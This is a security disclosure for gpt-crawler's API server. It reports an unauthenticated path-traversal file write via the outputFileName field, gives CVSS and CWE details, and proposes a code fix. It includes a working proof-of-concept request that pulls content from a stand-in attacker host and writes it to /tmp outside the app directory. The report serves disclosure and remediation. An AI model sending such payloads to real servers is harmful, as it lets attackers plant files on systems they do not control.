Unauthenticated Arbitrary File Write via outputFileName

reported via email on 2 June 2026 - no response:

I am writing to report a security vulnerability in the gpt-crawler API server mode, confirmed against v1.5.1 (commit d2245d6).

Summary:

The POST /crawl endpoint accepts a caller-supplied outputFileName field that is used as a raw file system path with no validation, canonicalization, or directory restriction. Combined with the complete absence of authentication on the API server, any network-accessible attacker can write attacker-controlled content to any path the server process can write.

Affected file: src/core.ts, function nextFileName (line 179-184) and writeBatchToFile (line 182-194).

The outputFileName field is defined in the Zod schema only as z.string() (src/config.ts line 44). No path normalization, no allowlist for output directory, no check that the resolved path stays within an expected base directory.

PoC:

The following request was issued against a local instance of the server with no credentials:

POST /crawl HTTP/1.1
Host: localhost:3000
Content-Type: application/json

{
  "url": "http://attacker-host/payload.html",
  "match": "http://attacker-host/**",
  "maxPagesToCrawl": 1,
  "outputFileName": "/tmp/evil_write.json"
}

Response (HTTP 200):

[{"title":"","url":"http://attacker-host/payload.html","html":"attacker-controlled content here"}]

The file /tmp/evil_write-1.json was created on the server with the crawled content -- outside the application directory. The HTTP response body also includes the written content, confirming both arbitrary file write and content exfiltration.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:H/A:L (8.6 High) CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Suggested fix:

Resolve outputFileName against a fixed base directory and reject paths that escape it using Node's path.resolve and a prefix check, for example:

import path from "path";
const OUTPUT_DIR = path.resolve("./output");
const safePath = path.resolve(OUTPUT_DIR, path.basename(config.outputFileName));
if (!safePath.startsWith(OUTPUT_DIR + path.sep)) {
  throw new Error("Invalid outputFileName: path traversal detected");
}

Additionally, add authentication to the API server (at minimum an API key checked via middleware) before deploying it in any network-accessible context.